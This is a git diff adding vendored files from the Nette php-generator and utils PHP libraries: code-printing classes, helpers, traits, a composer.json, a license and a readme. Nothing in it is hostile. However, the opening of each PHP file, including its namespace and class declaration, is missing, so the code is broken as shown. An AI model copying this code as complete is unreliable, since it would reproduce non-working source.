PhpParser\NodeTraverser; + $traverser->addVisitor(new PhpParser\NodeVisitor\NameResolver(null, ['replaceNodes' => false])); + $stmts = $traverser->traverse($stmts); + + return [$code, $stmts]; + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/GlobalFunction.php b/vendor/nette/php-generator/src/PhpGenerator/GlobalFunction.php new file mode 100644 index 0000000..804259a --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/GlobalFunction.php @@ -0,0 +1,51 @@ +fromFunctionReflection(new \ReflectionFunction($function)); + } + + + public static function withBodyFrom(string $function): self + { + return (new Factory)->fromFunctionReflection(new \ReflectionFunction($function), true); + } + + + public function __toString(): string + { + try { + return (new Printer)->printFunction($this); + } catch (\Throwable $e) { + if (PHP_VERSION_ID >= 70400) { + throw $e; + } + trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); + return ''; + } + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Helpers.php b/vendor/nette/php-generator/src/PhpGenerator/Helpers.php new file mode 100644 index 0000000..24a8f44 --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Helpers.php @@ -0,0 +1,106 @@ +dump($var); + } + + + /** @deprecated use Nette\PhpGenerator\Dumper::format() */ + public static function format(string $statement, ...$args): string + { + return (new Dumper)->format($statement, ...$args); + } + + + /** @deprecated use Nette\PhpGenerator\Dumper::format() */ + public static function formatArgs(string $statement, array $args): string + { + return (new Dumper)->format($statement, ...$args); + } + + + public static function formatDocComment(string $content): string + { + if (($s = trim($content)) === '') { + return ''; + } elseif (strpos($content, "\n") === false) { + return "/** $s */\n"; + } else { + return str_replace("\n", "\n * ", "/**\n$s") . "\n */\n"; + } + } + + + public static function unformatDocComment(string $comment): string + { + return preg_replace('#^\s*\* ?#m', '', trim(trim(trim($comment), '/*'))); + } + + + public static function unindent(string $s, int $level = 1): string + { + return preg_replace('#^(\t|\ \ \ \ ){1,' . $level . '}#m', '', $s); + } + + + public static function isIdentifier($value): bool + { + return is_string($value) && preg_match('#^' . self::PHP_IDENT . '$#D', $value); + } + + + public static function isNamespaceIdentifier($value, bool $allowLeadingSlash = false): bool + { + $re = '#^' . ($allowLeadingSlash ? '\\\\?' : '') . self::PHP_IDENT . '(\\\\' . self::PHP_IDENT . ')*$#D'; + return is_string($value) && preg_match($re, $value); + } + + + public static function extractNamespace(string $name): string + { + return ($pos = strrpos($name, '\\')) ? substr($name, 0, $pos) : ''; + } + + + public static function extractShortName(string $name): string + { + return ($pos = strrpos($name, '\\')) === false ? $name : substr($name, $pos + 1); + } + + + public static function tabsToSpaces(string $s, int $count = 4): string + { + return str_replace("\t", str_repeat(' ', $count), $s); + } + + + /** @internal */ + public static function createObject(string $class, array $props) + { + return Dumper::createObject($class, $props); + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Literal.php b/vendor/nette/php-generator/src/PhpGenerator/Literal.php new file mode 100644 index 0000000..48dbd83 --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Literal.php @@ -0,0 +1,32 @@ +value = $value; + } + + + public function __toString(): string + { + return $this->value; + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Method.php b/vendor/nette/php-generator/src/PhpGenerator/Method.php new file mode 100644 index 0000000..ff00f4d --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Method.php @@ -0,0 +1,127 @@ +fromMethodReflection(Nette\Utils\Callback::toReflection($method)); + } + + + public function __toString(): string + { + try { + return (new Printer)->printMethod($this); + } catch (\Throwable $e) { + if (PHP_VERSION_ID >= 70400) { + throw $e; + } + trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); + return ''; + } + } + + + /** @return static */ + public function setBody(?string $code, array $args = null): self + { + $this->body = $args === null || $code === null ? $code : (new Dumper)->format($code, ...$args); + return $this; + } + + + public function getBody(): ?string + { + return $this->body; + } + + + /** @return static */ + public function setStatic(bool $state = true): self + { + $this->static = $state; + return $this; + } + + + public function isStatic(): bool + { + return $this->static; + } + + + /** @return static */ + public function setFinal(bool $state = true): self + { + $this->final = $state; + return $this; + } + + + public function isFinal(): bool + { + return $this->final; + } + + + /** @return static */ + public function setAbstract(bool $state = true): self + { + $this->abstract = $state; + return $this; + } + + + public function isAbstract(): bool + { + return $this->abstract; + } + + + /** @throws Nette\InvalidStateException */ + public function validate(): void + { + if ($this->abstract && ($this->final || $this->visibility === ClassType::VISIBILITY_PRIVATE)) { + throw new Nette\InvalidStateException('Method cannot be abstract and final or private.'); + } + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Parameter.php b/vendor/nette/php-generator/src/PhpGenerator/Parameter.php new file mode 100644 index 0000000..63daa1a --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Parameter.php @@ -0,0 +1,129 @@ +reference = $state; + return $this; + } + + + public function isReference(): bool + { + return $this->reference; + } + + + /** @return static */ + public function setType(?string $type): self + { + $this->type = $type; + return $this; + } + + + public function getType(): ?string + { + return $this->type; + } + + + /** @deprecated use setType() */ + public function setTypeHint(?string $type): self + { + $this->type = $type; + return $this; + } + + + /** @deprecated use getType() */ + public function getTypeHint(): ?string + { + return $this->type; + } + + + /** + * @deprecated just use setDefaultValue() + * @return static + */ + public function setOptional(bool $state = true): self + { + trigger_error(__METHOD__ . '() is deprecated, use setDefaultValue()', E_USER_DEPRECATED); + $this->hasDefaultValue = $state; + return $this; + } + + + /** @return static */ + public function setNullable(bool $state = true): self + { + $this->nullable = $state; + return $this; + } + + + public function isNullable(): bool + { + return $this->nullable; + } + + + /** @return static */ + public function setDefaultValue($val): self + { + $this->defaultValue = $val; + $this->hasDefaultValue = true; + return $this; + } + + + public function getDefaultValue() + { + return $this->defaultValue; + } + + + public function hasDefaultValue(): bool + { + return $this->hasDefaultValue; + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/PhpFile.php b/vendor/nette/php-generator/src/PhpGenerator/PhpFile.php new file mode 100644 index 0000000..8261325 --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/PhpFile.php @@ -0,0 +1,122 @@ +addNamespace(Helpers::extractNamespace($name)) + ->addClass(Helpers::extractShortName($name)); + } + + + public function addInterface(string $name): ClassType + { + return $this + ->addNamespace(Helpers::extractNamespace($name)) + ->addInterface(Helpers::extractShortName($name)); + } + + + public function addTrait(string $name): ClassType + { + return $this + ->addNamespace(Helpers::extractNamespace($name)) + ->addTrait(Helpers::extractShortName($name)); + } + + + public function addNamespace(string $name): PhpNamespace + { + if (!isset($this->namespaces[$name])) { + $this->namespaces[$name] = new PhpNamespace($name); + foreach ($this->namespaces as $namespace) { + $namespace->setBracketedSyntax(count($this->namespaces) > 1 && isset($this->namespaces[''])); + } + } + return $this->namespaces[$name]; + } + + + /** @return PhpNamespace[] */ + public function getNamespaces(): array + { + return $this->namespaces; + } + + + /** @return static */ + public function addUse(string $name, string $alias = null): self + { + $this->addNamespace('')->addUse($name, $alias); + return $this; + } + + + /** + * Adds declare(strict_types=1) to output. + * @return static + */ + public function setStrictTypes(bool $on = true): self + { + $this->strictTypes = $on; + return $this; + } + + + public function hasStrictTypes(): bool + { + return $this->strictTypes; + } + + + /** @deprecated use hasStrictTypes() */ + public function getStrictTypes(): bool + { + return $this->strictTypes; + } + + + public function __toString(): string + { + try { + return (new Printer)->printFile($this); + } catch (\Throwable $e) { + if (PHP_VERSION_ID >= 70400) { + throw $e; + } + trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); + return ''; + } + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/PhpLiteral.php b/vendor/nette/php-generator/src/PhpGenerator/PhpLiteral.php new file mode 100644 index 0000000..10fd5a5 --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/PhpLiteral.php @@ -0,0 +1,15 @@ + 1, 'int' => 1, 'float' => 1, 'bool' => 1, 'array' => 1, 'object' => 1, + 'callable' => 1, 'iterable' => 1, 'void' => 1, 'self' => 1, 'parent' => 1, 'static' => 1, + 'mixed' => 1, 'null' => 1, 'false' => 1, + ]; + + /** @var string */ + private $name; + + /** @var bool */ + private $bracketedSyntax = false; + + /** @var string[] */ + private $uses = []; + + /** @var ClassType[] */ + private $classes = []; + + + public function __construct(string $name) + { + if ($name !== '' && !Helpers::isNamespaceIdentifier($name)) { + throw new Nette\InvalidArgumentException("Value '$name' is not valid name."); + } + $this->name = $name; + } + + + public function getName(): string + { + return $this->name; + } + + + /** + * @return static + * @internal + */ + public function setBracketedSyntax(bool $state = true): self + { + $this->bracketedSyntax = $state; + return $this; + } + + + public function hasBracketedSyntax(): bool + { + return $this->bracketedSyntax; + } + + + /** @deprecated use hasBracketedSyntax() */ + public function getBracketedSyntax(): bool + { + return $this->bracketedSyntax; + } + + + /** + * @throws InvalidStateException + * @return static + */ + public function addUse(string $name, string $alias = null, string &$aliasOut = null): self + { + $name = ltrim($name, '\\'); + if ($alias === null && $this->name === Helpers::extractNamespace($name)) { + $alias = Helpers::extractShortName($name); + } + if ($alias === null) { + $path = explode('\\', $name); + $counter = null; + do { + if (empty($path)) { + $counter++; + } else { + $alias = array_pop($path) . $alias; + } + } while (isset($this->uses[$alias . $counter]) && $this->uses[$alias . $counter] !== $name); + $alias .= $counter; + + } elseif (isset($this->uses[$alias]) && $this->uses[$alias] !== $name) { + throw new InvalidStateException( + "Alias '$alias' used already for '{$this->uses[$alias]}', cannot use for '{$name}'." + ); + } + + $aliasOut = $alias; + $this->uses[$alias] = $name; + asort($this->uses); + return $this; + } + + + /** @return string[] */ + public function getUses(): array + { + return $this->uses; + } + + + public function unresolveName(string $name): string + { + if (isset(self::KEYWORDS[strtolower($name)]) || $name === '') { + return $name; + } + $name = ltrim($name, '\\'); + $res = null; + $lower = strtolower($name); + foreach ($this->uses as $alias => $original) { + if (Strings::startsWith($lower . '\\', strtolower($original) . '\\')) { + $short = $alias . substr($name, strlen($original)); + if (!isset($res) || strlen($res) > strlen($short)) { + $res = $short; + } + } + } + + if (!$res && Strings::startsWith($lower, strtolower($this->name) . '\\')) { + return substr($name, strlen($this->name) + 1); + } else { + return $res ?: ($this->name ? '\\' : '') . $name; + } + } + + + /** @return static */ + public function add(ClassType $class): self + { + $name = $class->getName(); + if ($name === null) { + throw new Nette\InvalidArgumentException('Class does not have a name.'); + } + $this->addUse($this->name . '\\' . $name); + $this->classes[$name] = $class; + return $this; + } + + + public function addClass(string $name): ClassType + { + $this->add($class = new ClassType($name, $this)); + return $class; + } + + + public function addInterface(string $name): ClassType + { + return $this->addClass($name)->setInterface(); + } + + + public function addTrait(string $name): ClassType + { + return $this->addClass($name)->setTrait(); + } + + + /** @return ClassType[] */ + public function getClasses(): array + { + return $this->classes; + } + + + public function __toString(): string + { + try { + return (new Printer)->printNamespace($this); + } catch (\Throwable $e) { + if (PHP_VERSION_ID >= 70400) { + throw $e; + } + trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); + return ''; + } + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Printer.php b/vendor/nette/php-generator/src/PhpGenerator/Printer.php new file mode 100644 index 0000000..23dc76c --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Printer.php @@ -0,0 +1,295 @@ +getComment() . "\n") + . 'function ' + . ($function->getReturnReference() ? '&' : '') + . $function->getName() + . $this->printParameters($function, $namespace) + . $this->printReturnType($function, $namespace) + . "\n{\n" . $this->indent(ltrim(rtrim($function->getBody()) . "\n")) . "}\n"; + } + + + public function printClosure(Closure $closure): string + { + $uses = []; + foreach ($closure->getUses() as $param) { + $uses[] = ($param->isReference() ? '&' : '') . '$' . $param->getName(); + } + $useStr = strlen($tmp = implode(', ', $uses)) > (new Dumper)->wrapLength && count($uses) > 1 + ? "\n" . $this->indentation . implode(",\n" . $this->indentation, $uses) . "\n" + : $tmp; + + return 'function ' + . ($closure->getReturnReference() ? '&' : '') + . $this->printParameters($closure, null) + . ($uses ? " use ($useStr)" : '') + . $this->printReturnType($closure, null) + . " {\n" . $this->indent(ltrim(rtrim($closure->getBody()) . "\n")) . '}'; + } + + + public function printArrowFunction(Closure $closure): string + { + foreach ($closure->getUses() as $use) { + if ($use->isReference()) { + throw new Nette\InvalidArgumentException('Arrow function cannot bind variables by-reference.'); + } + } + + return 'fn ' + . ($closure->getReturnReference() ? '&' : '') + . $this->printParameters($closure, null) + . $this->printReturnType($closure, null) + . ' => ' . trim($closure->getBody()) . ';'; + } + + + public function printMethod(Method $method, PhpNamespace $namespace = null): string + { + $method->validate(); + return Helpers::formatDocComment($method->getComment() . "\n") + . ($method->isAbstract() ? 'abstract ' : '') + . ($method->isFinal() ? 'final ' : '') + . ($method->getVisibility() ? $method->getVisibility() . ' ' : '') + . ($method->isStatic() ? 'static ' : '') + . 'function ' + . ($method->getReturnReference() ? '&' : '') + . $method->getName() + . ($params = $this->printParameters($method, $namespace)) + . $this->printReturnType($method, $namespace) + . ($method->isAbstract() || $method->getBody() === null + ? ";\n" + : (strpos($params, "\n") === false ? "\n" : ' ') + . "{\n" + . $this->indent(ltrim(rtrim($method->getBody()) . "\n")) + . "}\n"); + } + + + public function printClass(ClassType $class, PhpNamespace $namespace = null): string + { + $class->validate(); + $resolver = $this->resolveTypes && $namespace ? [$namespace, 'unresolveName'] : function ($s) { return $s; }; + + $traits = []; + foreach ($class->getTraitResolutions() as $trait => $resolutions) { + $traits[] = 'use ' . $resolver($trait) + . ($resolutions ? " {\n" . $this->indentation . implode(";\n" . $this->indentation, $resolutions) . ";\n}\n" : ";\n"); + } + + $consts = []; + foreach ($class->getConstants() as $const) { + $def = ($const->getVisibility() ? $const->getVisibility() . ' ' : '') . 'const ' . $const->getName() . ' = '; + $consts[] = Helpers::formatDocComment((string) $const->getComment()) + . $def + . $this->dump($const->getValue(), strlen($def)) . ";\n"; + } + + $properties = []; + foreach ($class->getProperties() as $property) { + $type = $property->getType(); + $def = (($property->getVisibility() ?: 'public') . ($property->isStatic() ? ' static' : '') . ' ' + . ltrim($this->printType($type, $property->isNullable(), $namespace) . ' ') + . '$' . $property->getName()); + + $properties[] = Helpers::formatDocComment((string) $property->getComment()) + . $def + . ($property->getValue() === null && !$property->isInitialized() ? '' : ' = ' . $this->dump($property->getValue(), strlen($def) + 3)) // 3 = ' = ' + . ";\n"; + } + + $methods = []; + foreach ($class->getMethods() as $method) { + $methods[] = $this->printMethod($method, $namespace); + } + + $members = array_filter([ + implode('', $traits), + $this->joinProperties($consts), + $this->joinProperties($properties), + ($methods && $properties ? str_repeat("\n", $this->linesBetweenMethods - 1) : '') + . implode(str_repeat("\n", $this->linesBetweenMethods), $methods), + ]); + + return Strings::normalize( + Helpers::formatDocComment($class->getComment() . "\n") + . ($class->isAbstract() ? 'abstract ' : '') + . ($class->isFinal() ? 'final ' : '') + . ($class->getName() ? $class->getType() . ' ' . $class->getName() . ' ' : '') + . ($class->getExtends() ? 'extends ' . implode(', ', array_map($resolver, (array) $class->getExtends())) . ' ' : '') + . ($class->getImplements() ? 'implements ' . implode(', ', array_map($resolver, $class->getImplements())) . ' ' : '') + . ($class->getName() ? "\n" : '') . "{\n" + . ($members ? $this->indent(implode("\n", $members)) : '') + . '}' + ) . ($class->getName() ? "\n" : ''); + } + + + public function printNamespace(PhpNamespace $namespace): string + { + $name = $namespace->getName(); + $uses = $this->printUses($namespace); + + $classes = []; + foreach ($namespace->getClasses() as $class) { + $classes[] = $this->printClass($class, $namespace); + } + + $body = ($uses ? $uses . "\n\n" : '') + . implode("\n", $classes); + + if ($namespace->hasBracketedSyntax()) { + return 'namespace' . ($name ? " $name" : '') . "\n{\n" + . $this->indent($body) + . "}\n"; + + } else { + return ($name ? "namespace $name;\n\n" : '') + . $body; + } + } + + + public function printFile(PhpFile $file): string + { + $namespaces = []; + foreach ($file->getNamespaces() as $namespace) { + $namespaces[] = $this->printNamespace($namespace); + } + + return Strings::normalize( + "getComment() ? "\n" . Helpers::formatDocComment($file->getComment() . "\n") : '') + . "\n" + . ($file->hasStrictTypes() ? "declare(strict_types=1);\n\n" : '') + . implode("\n\n", $namespaces) + ) . "\n"; + } + + + /** @return static */ + public function setTypeResolving(bool $state = true): self + { + $this->resolveTypes = $state; + return $this; + } + + + protected function indent(string $s): string + { + $s = str_replace("\t", $this->indentation, $s); + return Strings::indent($s, 1, $this->indentation); + } + + + protected function dump($var, int $column = 0): string + { + return (new Dumper)->dump($var, $column); + } + + + protected function printUses(PhpNamespace $namespace): string + { + $name = $namespace->getName(); + $uses = []; + foreach ($namespace->getUses() as $alias => $original) { + if ($original !== ($name ? $name . '\\' . $alias : $alias)) { + if ($alias === $original || substr($original, -(strlen($alias) + 1)) === '\\' . $alias) { + $uses[] = "use $original;"; + } else { + $uses[] = "use $original as $alias;"; + } + } + } + return implode("\n", $uses); + } + + + /** + * @param Closure|GlobalFunction|Method $function + */ + public function printParameters($function, PhpNamespace $namespace = null): string + { + $params = []; + $list = $function->getParameters(); + foreach ($list as $param) { + $variadic = $function->isVariadic() && $param === end($list); + $type = $param->getType(); + $params[] = ltrim($this->printType($type, $param->isNullable(), $namespace) . ' ') + . ($param->isReference() ? '&' : '') + . ($variadic ? '...' : '') + . '$' . $param->getName() + . ($param->hasDefaultValue() && !$variadic ? ' = ' . $this->dump($param->getDefaultValue()) : ''); + } + + return strlen($tmp = implode(', ', $params)) > (new Dumper)->wrapLength && count($params) > 1 + ? "(\n" . $this->indentation . implode(",\n" . $this->indentation, $params) . "\n)" + : "($tmp)"; + } + + + public function printType(?string $type, bool $nullable = false, PhpNamespace $namespace = null): string + { + return $type + ? ($nullable ? '?' : '') . ($this->resolveTypes && $namespace ? $namespace->unresolveName($type) : $type) + : ''; + } + + + /** + * @param Closure|GlobalFunction|Method $function + */ + private function printReturnType($function, ?PhpNamespace $namespace): string + { + return ($tmp = $this->printType($function->getReturnType(), $function->isReturnNullable(), $namespace)) + ? $this->returnTypeColon . $tmp + : ''; + } + + + private function joinProperties(array $props) + { + return $this->linesBetweenProperties + ? implode(str_repeat("\n", $this->linesBetweenProperties), $props) + : preg_replace('#^(\w.*\n)\n(?=\w.*;)#m', '$1', implode("\n", $props)); + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Property.php b/vendor/nette/php-generator/src/PhpGenerator/Property.php new file mode 100644 index 0000000..6731e6b --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Property.php @@ -0,0 +1,111 @@ +value = $val; + return $this; + } + + + public function &getValue() + { + return $this->value; + } + + + /** @return static */ + public function setStatic(bool $state = true): self + { + $this->static = $state; + return $this; + } + + + public function isStatic(): bool + { + return $this->static; + } + + + /** @return static */ + public function setType(?string $val): self + { + $this->type = $val; + return $this; + } + + + public function getType(): ?string + { + return $this->type; + } + + + /** @return static */ + public function setNullable(bool $state = true): self + { + $this->nullable = $state; + return $this; + } + + + public function isNullable(): bool + { + return $this->nullable; + } + + + /** @return static */ + public function setInitialized(bool $state = true): self + { + $this->initialized = $state; + return $this; + } + + + public function isInitialized(): bool + { + return $this->initialized; + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/PsrPrinter.php b/vendor/nette/php-generator/src/PhpGenerator/PsrPrinter.php new file mode 100644 index 0000000..aef0f7d --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/PsrPrinter.php @@ -0,0 +1,23 @@ +comment = $val; + return $this; + } + + + public function getComment(): ?string + { + return $this->comment; + } + + + /** @return static */ + public function addComment(string $val): self + { + $this->comment .= $this->comment ? "\n$val" : $val; + return $this; + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Traits/FunctionLike.php b/vendor/nette/php-generator/src/PhpGenerator/Traits/FunctionLike.php new file mode 100644 index 0000000..73608bf --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Traits/FunctionLike.php @@ -0,0 +1,180 @@ +body = $args === null ? $code : (new Dumper)->format($code, ...$args); + return $this; + } + + + public function getBody(): string + { + return $this->body; + } + + + /** @return static */ + public function addBody(string $code, array $args = null): self + { + $this->body .= ($args === null ? $code : (new Dumper)->format($code, ...$args)) . "\n"; + return $this; + } + + + /** + * @param Parameter[] $val + * @return static + */ + public function setParameters(array $val): self + { + $this->parameters = []; + foreach ($val as $v) { + if (!$v instanceof Parameter) { + throw new Nette\InvalidArgumentException('Argument must be Nette\PhpGenerator\Parameter[].'); + } + $this->parameters[$v->getName()] = $v; + } + return $this; + } + + + /** @return Parameter[] */ + public function getParameters(): array + { + return $this->parameters; + } + + + /** + * @param string $name without $ + */ + public function addParameter(string $name, $defaultValue = null): Parameter + { + $param = new Parameter($name); + if (func_num_args() > 1) { + $param->setDefaultValue($defaultValue); + } + return $this->parameters[$name] = $param; + } + + + /** + * @param string $name without $ + * @return static + */ + public function removeParameter(string $name): self + { + unset($this->parameters[$name]); + return $this; + } + + + /** @return static */ + public function setVariadic(bool $state = true): self + { + $this->variadic = $state; + return $this; + } + + + public function isVariadic(): bool + { + return $this->variadic; + } + + + /** @return static */ + public function setReturnType(?string $val): self + { + $this->returnType = $val; + return $this; + } + + + public function getReturnType(): ?string + { + return $this->returnType; + } + + + /** @return static */ + public function setReturnReference(bool $state = true): self + { + $this->returnReference = $state; + return $this; + } + + + public function getReturnReference(): bool + { + return $this->returnReference; + } + + + /** @return static */ + public function setReturnNullable(bool $state = true): self + { + $this->returnNullable = $state; + return $this; + } + + + public function isReturnNullable(): bool + { + return $this->returnNullable; + } + + + /** @deprecated use isReturnNullable() */ + public function getReturnNullable(): bool + { + return $this->returnNullable; + } + + + /** @deprecated */ + public function setNamespace(Nette\PhpGenerator\PhpNamespace $val = null): self + { + trigger_error(__METHOD__ . '() is deprecated', E_USER_DEPRECATED); + return $this; + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Traits/NameAware.php b/vendor/nette/php-generator/src/PhpGenerator/Traits/NameAware.php new file mode 100644 index 0000000..157aa0f --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Traits/NameAware.php @@ -0,0 +1,49 @@ +name = $name; + } + + + public function getName(): string + { + return $this->name; + } + + + /** + * Returns clone with a different name. + * @return static + */ + public function cloneWithName(string $name): self + { + $dolly = clone $this; + $dolly->__construct($name); + return $dolly; + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Traits/VisibilityAware.php b/vendor/nette/php-generator/src/PhpGenerator/Traits/VisibilityAware.php new file mode 100644 index 0000000..3dd862c --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Traits/VisibilityAware.php @@ -0,0 +1,85 @@ +visibility = $val; + return $this; + } + + + public function getVisibility(): ?string + { + return $this->visibility; + } + + + /** @return static */ + public function setPublic(): self + { + $this->visibility = ClassType::VISIBILITY_PUBLIC; + return $this; + } + + + public function isPublic(): bool + { + return $this->visibility === ClassType::VISIBILITY_PUBLIC || $this->visibility === null; + } + + + /** @return static */ + public function setProtected(): self + { + $this->visibility = ClassType::VISIBILITY_PROTECTED; + return $this; + } + + + public function isProtected(): bool + { + return $this->visibility === ClassType::VISIBILITY_PROTECTED; + } + + + /** @return static */ + public function setPrivate(): self + { + $this->visibility = ClassType::VISIBILITY_PRIVATE; + return $this; + } + + + public function isPrivate(): bool + { + return $this->visibility === ClassType::VISIBILITY_PRIVATE; + } +} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Type.php b/vendor/nette/php-generator/src/PhpGenerator/Type.php new file mode 100644 index 0000000..d320bf3 --- /dev/null +++ b/vendor/nette/php-generator/src/PhpGenerator/Type.php @@ -0,0 +1,66 @@ +=7.1" + }, + "require-dev": { + "nette/tester": "~2.0", + "tracy/tracy": "^2.3", + "phpstan/phpstan": "^0.12" + }, + "suggest": { + "ext-iconv": "to use Strings::webalize(), toAscii(), chr() and reverse()", + "ext-json": "to use Nette\\Utils\\Json", + "ext-intl": "to use Strings::webalize(), toAscii(), normalize() and compare()", + "ext-mbstring": "to use Strings::lower() etc...", + "ext-xml": "to use Strings::length() etc. when mbstring is not available", + "ext-gd": "to use Image", + "ext-tokenizer": "to use Nette\\Utils\\Reflection::getUseStatements()" + }, + "autoload": { + "classmap": ["src/"] + }, + "minimum-stability": "dev", + "scripts": { + "phpstan": "phpstan analyse --level 5 --configuration tests/phpstan.neon src", + "tester": "tester tests -s" + }, + "extra": { + "branch-alias": { + "dev-master": "3.1-dev" + } + } +} diff --git a/vendor/nette/utils/contributing.md b/vendor/nette/utils/contributing.md new file mode 100644 index 0000000..184152c --- /dev/null +++ b/vendor/nette/utils/contributing.md @@ -0,0 +1,33 @@ +How to contribute & use the issue tracker +========================================= + +Nette welcomes your contributions. There are several ways to help out: + +* Create an issue on GitHub, if you have found a bug +* Write test cases for open bug issues +* Write fixes for open bug/feature issues, preferably with test cases included +* Contribute to the [documentation](https://nette.org/en/writing) + +Issues +------ + +Please **do not use the issue tracker to ask questions**. We will be happy to help you +on [Nette forum](https://forum.nette.org) or chat with us on [Gitter](https://gitter.im/nette/nette). + +A good bug report shouldn't leave others needing to chase you up for more +information. Please try to be as detailed as possible in your report. + +**Feature requests** are welcome. But take a moment to find out whether your idea +fits with the scope and aims of the project. It's up to *you* to make a strong +case to convince the project's developers of the merits of this feature. + +Contributing +------------ + +If you'd like to contribute, please take a moment to read [the contributing guide](https://nette.org/en/contributing). + +The best way to propose a feature is to discuss your ideas on [Nette forum](https://forum.nette.org) before implementing them. + +Please do not fix whitespace, format code, or make a purely cosmetic patch. + +Thanks! :heart: diff --git a/vendor/nette/utils/license.md b/vendor/nette/utils/license.md new file mode 100644 index 0000000..cf741bd --- /dev/null +++ b/vendor/nette/utils/license.md @@ -0,0 +1,60 @@ +Licenses +======== + +Good news! You may use Nette Framework under the terms of either +the New BSD License or the GNU General Public License (GPL) version 2 or 3. + +The BSD License is recommended for most projects. It is easy to understand and it +places almost no restrictions on what you can do with the framework. If the GPL +fits better to your project, you can use the framework under this license. + +You don't have to notify anyone which license you are using. You can freely +use Nette Framework in commercial projects as long as the copyright header +remains intact. + +Please be advised that the name "Nette Framework" is a protected trademark and its +usage has some limitations. So please do not use word "Nette" in the name of your +project or top-level domain, and choose a name that stands on its own merits. +If your stuff is good, it will not take long to establish a reputation for yourselves. + + +New BSD License +--------------- + +Copyright (c) 2004, 2014 David Grudl (https://davidgrudl.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + * Neither the name of "Nette Framework" nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +This software is provided by the copyright holders and contributors "as is" and +any express or implied warranties, including, but not limited to, the implied +warranties of merchantability and fitness for a particular purpose are +disclaimed. In no event shall the copyright owner or contributors be liable for +any direct, indirect, incidental, special, exemplary, or consequential damages +(including, but not limited to, procurement of substitute goods or services; +loss of use, data, or profits; or business interruption) however caused and on +any theory of liability, whether in contract, strict liability, or tort +(including negligence or otherwise) arising in any way out of the use of this +software, even if advised of the possibility of such damage. + + +GNU General Public License +-------------------------- + +GPL licenses are very very long, so instead of including them here we offer +you URLs with full text: + +- [GPL version 2](http://www.gnu.org/licenses/gpl-2.0.html) +- [GPL version 3](http://www.gnu.org/licenses/gpl-3.0.html) diff --git a/vendor/nette/utils/readme.md b/vendor/nette/utils/readme.md new file mode 100644 index 0000000..fd971d3 --- /dev/null +++ b/vendor/nette/utils/readme.md @@ -0,0 +1,43 @@ +Nette Utility Classes +===================== + +[![Downloads this Month](https://img.shields.io/packagist/dm/nette/utils.svg)](https://packagist.org/packages/nette/utils) +[![Build Status](https://travis-ci.org/nette/utils.svg?branch=master)](https://travis-ci.org/nette/utils) +[![Coverage Status](https://coveralls.io/repos/github/nette/utils/badge.svg?branch=master)](https://coveralls.io/github/nette/utils?branch=master) +[![Latest Stable Version](https://poser.pugx.org/nette/utils/v/stable)](https://github.com/nette/utils/releases) +[![License](https://img.shields.io/badge/license-New%20BSD-blue.svg)](https://github.com/nette/utils/blob/master/license.md) + + +Introduction +------------ + +In package nette/utils you will find a set of [useful classes](https://doc.nette.org/utils) for everyday use: + +- [Arrays](https://doc.nette.org/arrays) - manipulate arrays +- [Callback](https://doc.nette.org/callback) - PHP callbacks +- [Date and Time](https://doc.nette.org/datetime) - modify times and dates +- [Filesystem](https://doc.nette.org/filesystem) - copying, renaming, … +- [Helper Functions](https://doc.nette.org/helpers) +- [HTML elements](https://doc.nette.org/html-elements) - generate HTML +- [Images](https://doc.nette.org/images) - crop, resize, rotate images +- [JSON](https://doc.nette.org/json) - encoding and decoding +- [Generating Random Strings](https://doc.nette.org/random) +- [Paginator](https://doc.nette.org/paginator) - pagination math +- [PHP Reflection](https://doc.nette.org/reflection) +- [Strings](https://doc.nette.org/strings) - useful text functions +- [SmartObject](https://doc.nette.org/smartobject) - PHP object enhancements +- [Validation](https://doc.nette.org/validators) - validate inputs + + +Installation +------------ + +The recommended way to install is via Composer: + +``` +composer require nette/utils +``` + +- Nette Utils 3.1 is compatible with PHP 7.1 to 8.0 +- Nette Utils 3.0 is compatible with PHP 7.1 to 7.4 +- Nette Utils 2.5 is compatible with PHP 5.6 to 7.4 diff --git a/vendor/nette/utils/src/Iterators/CachingIterator.php b/vendor/nette/utils/src/Iterators/CachingIterator.php new file mode 100644 index 0000000..c239355 --- /dev/null +++ b/vendor/nette/utils/src/Iterators/CachingIterator.php @@ -0,0 +1,166 @@ +getIterator(); 